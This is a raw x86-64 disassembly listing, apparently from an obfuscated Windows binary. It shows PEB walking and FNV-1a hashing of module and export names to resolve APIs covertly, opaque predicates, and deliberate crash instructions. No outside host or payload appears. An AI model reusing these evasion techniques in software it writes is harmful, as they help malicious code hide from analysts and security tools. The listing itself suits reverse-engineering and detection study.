mov edx, 0x811c9dc5
add r8, r10
jmp 0x1400929a6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14009299b
cmp edx, esi
je 0x1400929be
test r9d, r9d
jne 0x140092986
xor r15d, r15d
jmp 0x140092a2e
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x140092b8a
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140092b8a
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140092a07
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x1400929f9
inc r9
xor r15d, r15d
jmp 0x140092a24
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140092a16
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140092a43
cmp qword [rax + 0x30], r15
jne 0x140092905
mov r9, r15
mov qword [0x1402a3f70], r9
xor ecx, ecx
int 0x29
mov r9d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea edi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*4]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea r11d, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
mov r10d, dword [rbp + 0x48]
movsx ecx, al
lea ebx, [rcx + rdx*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092b92
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140092b92
mov r10d, 4
jmp 0x140092be1
xor r15d, r15d
jmp 0x140092a46
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r11d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092be1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140092c13
mov edx, 1
mov eax, edx
mov qword [rbp - 0x10], rdx
mov ecx, edx
mov qword [rbp + rcx*8 - 0x10], rax
mov rax, qword [rbp - 0x10]
inc rax
mov qword [rbp - 0x10], rax
mov rcx, rax
cmp rax, r15
jne 0x140092bf3
add r9d, edx
jmp 0x140092ad7
mov qword [0], 0x99
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140093a46
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
sub r12d, dword [0x1402a1d98]
cvtdq2pd xmm1, xmm1
cmp r12d, 0x1194
movd xmm0, eax
mov rax, r15
cvtdq2pd xmm0, xmm0
setg al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092d2b
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140092d2b
mov r10d, 4
jmp 0x140092dc1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092dbd
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r10d, xmm0
jmp 0x140092dc1
mov r10d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
cmp eax, r15d
je 0x140093a46
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092ff0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092f0e
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140092f0e
mov r9d, 4
jmp 0x140092fa4
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092fa0
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x140092fa4
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx edx, byte [reloc.WS2_32.dll_accept]
sub eax, edx
imul eax, r9d
cmp eax, r15d
je 0x140092ff0
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
cmp rdx, r15
jne 0x140093159
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140093071
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140093064
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093055
cmp edx, edi
jne 0x14009313a
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14009313a
mov r9d, dword [r11 + 0x18]
cmp r9d, r15d
je 0x14009313a
mov r14d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r14]
mov edx, r12d
add r8, r10
jmp 0x1400930c3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
cmp cl, r15b
jne 0x1400930b8
cmp edx, r13d
je 0x1400930da
cmp r9d, r15d
jne 0x1400930a5
jmp 0x14009313a
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x140093152
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140093152
mov edi, r12d
mov r13d, r12d
jmp 0x140093118
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14009310a
jmp 0x14009312d
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, r15b
jne 0x140093120
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x14009314f
cmp qword [rax + 0x30], r15
jne 0x140093025
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
mov r13b, reloc.WLDAP32.dll_Ordinal_46
cmp rbx, r15
jne 0x1400932ce
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
movups xmm0, xmmword [r11 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400931da
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400931cd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400931be
cmp edx, edi
jne 0x1400932af
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400932af
mov ebx, dword [r10 + 0x18]
cmp ebx, r15d
je 0x1400932af
mov r14d, dword [r10 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r8d, dword [rdx + r9]
mov edx, r12d
add r8, r9
jmp 0x14009322b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
cmp cl, r15b
jne 0x140093220
cmp edx, dword [rbp + 0x48]
je 0x140093242
cmp ebx, r15d
jne 0x14009320e
jmp 0x1400932af
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x1400932c7
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1400932c7
mov ecx, r12d
mov edi, r12d
mov dword [rbp + 0x48], ecx
jmp 0x140093283
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, r13b
jne 0x140093275
inc rbx
mov al, byte [rbx]
cmp al, r15b
je 0x1400932ac
movsx eax, al
inc rbx
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rbx]
cmp al, r15b
jne 0x140093294
mov dword [rbp + 0x48], ecx
mov r11, qword [rsi]
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400932c4
cmp qword [rax + 0x30], r15
jne 0x14009318d
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
cmp rdx, r15
jne 0x140093446
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
movups xmm0, xmmword [r11 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140093352
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140093345
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093336
cmp edx, edi
jne 0x140093427
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140093427
mov ebx, dword [r10 + 0x18]
cmp ebx, r15d
je 0x140093427
mov r14d, dword [r10 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r8d, dword [rdx + r9]
mov edx, r12d
add r8, r9
jmp 0x1400933a3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
cmp cl, r15b
jne 0x140093398
cmp edx, dword [rbp + 0x50]
je 0x1400933ba
cmp ebx, r15d
jne 0x140093386
jmp 0x140093427
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14009343f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14009343f
mov ecx, r12d
mov edi, r12d
mov dword [rbp + 0x50], ecx
jmp 0x1400933fb
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, r13b
jne 0x1400933ed
inc rdx
mov al, byte [rdx]
cmp al, r15b
je 0x140093424
movsx eax, al
inc rdx
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
cmp al, r15b
jne 0x14009340c
mov dword [rbp + 0x50], ecx
mov r11, qword [rsi]
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14009343c
cmp qword [rax + 0x30], r15
jne 0x140093305
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
cmp rdx, r15
jne 0x1400935b5
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
movups xmm0, xmmword [r11 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400934c1
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400934b4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400934a5
cmp edx, edi
jne 0x140093596
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140093596
mov ebx, dword [r10 + 0x18]
cmp ebx, r15d
je 0x140093596
mov r14d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r14]
mov edx, r12d
add r8, r9
jmp 0x140093512
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
cmp cl, r15b
jne 0x140093507
cmp edx, dword [rbp + 0x58]
je 0x140093529
cmp ebx, r15d
jne 0x1400934f5
jmp 0x140093596
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400935ae
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400935ae
mov ecx, r12d
mov edi, r12d
mov dword [rbp + 0x58], ecx
jmp 0x14009356a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, r13b
jne 0x14009355c
inc rdx
mov al, byte [rdx]
cmp al, r15b
je 0x140093593
movsx eax, al
inc rdx
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
cmp al, r15b
jne 0x14009357b
mov dword [rbp + 0x58], ecx
mov r11, qword [rsi]
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400935ab
cmp qword [rax + 0x30], r15
jne 0x140093474
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
cmp rdx, r15
jne 0x140093724
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
movups xmm0, xmmword [r11 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140093630
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140093623
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093614
cmp edx, edi
jne 0x140093705
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140093705
mov ebx, dword [r10 + 0x18]
cmp ebx, r15d
je 0x140093705
mov r14d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r14]
mov edx, r12d
add r8, r9
jmp 0x140093681
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
cmp cl, r15b
jne 0x140093676
cmp edx, dword [rbp + 0x60]
je 0x140093698
cmp ebx, r15d
jne 0x140093664
jmp 0x140093705
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14009371d
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14009371d
mov ecx, r12d
mov edi, r12d
mov dword [rbp + 0x60], ecx
jmp 0x1400936d9
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, r13b
jne 0x1400936cb
inc rdx
mov al, byte [rdx]
cmp al, r15b
je 0x140093702
movsx eax, al
inc rdx
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
cmp al, r15b
jne 0x1400936ea
mov dword [rbp + 0x60], ecx
mov r11, qword [rsi]
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14009371a
cmp qword [rax + 0x30], r15
jne 0x1400935e3
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x140093893
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r9, rsi
movups xmm0, xmmword [r9 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x14009379c
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14009378f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093780
cmp edx, edi
jne 0x140093874
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140093874
mov ebx, dword [r11 + 0x18]
cmp ebx, r15d
je 0x140093874
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r8d, dword [rdx + r14]
mov edx, r12d
add r8, r10
jmp 0x1400937ed
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
cmp cl, r15b
jne 0x1400937e2
cmp edx, dword [rbp - 0x18]
je 0x140093804
cmp ebx, r15d
jne 0x1400937d0
jmp 0x140093874
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + rbx*2]
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14009388c
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14009388c
mov ecx, r12d
mov edi, r12d
mov dword [rbp - 0x18], ecx
jmp 0x140093845
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, r13b
jne 0x140093837
inc r9
mov al, byte [r9]
cmp al, r15b
je 0x140093871
movsx eax, al
inc r9
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [r9]
cmp al, r15b
jne 0x140093858
mov dword [rbp - 0x18], ecx
mov r9, qword [rsi]
mov rax, qword [r9]
mov r9, rax
cmp rax, rsi
je 0x140093889
cmp qword [rax + 0x30], r15
jne 0x14009374f
mov r9, r15
mov qword [0x1402a3f70], r9
xor ecx, ecx
int 0x29
mov r10d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea r14d, [rcx + rdx*4]
call fcn.1400752e4
movsx r9d, al
call fcn.1400752e8
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
mov r11d, dword [rbp + 0x48]
movsx ebx, al
lea eax, [r9 + r9*4]
lea edi, [rbx + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400939b3
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400939b3
mov r11d, 4
jmp 0x140093a08
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r9*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140093a08
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r11d, xmm0
cmp r10d, r11d
jge 0x140093a3a
mov edx, 1
mov eax, edx
mov qword [rbp + 0x48], rdx
mov ecx, edx
mov qword [rbp + rcx*8 + 0x48], rax
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov rcx, rax
cmp rax, r15
jne 0x140093a1a
add r10d, edx
jmp 0x1400938ff
mov qword [0], 0x99
mov rdx, qword [0x1402a3ed0]
mov r14d, 0xbb21e02e
cmp rdx, r15
jne 0x140093bb1
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r14d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r11, r15
movups xmm0, xmmword [r11 + 0x58]
mov r13d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140093ac5
psrldq xmm0, 8
mov edx, r13d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140093ab8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093aa9
cmp edx, edi
jne 0x140093b8e
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140093b8e
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140093b8e
mov r12d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r12]
mov edx, r13d
add r8, r9
jmp 0x140093b15
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140093b0a
cmp edx, esi
je 0x140093b29
test ebx, ebx
jne 0x140093af8
jmp 0x140093b8e
mov ecx, dword [r10 + 0x24]
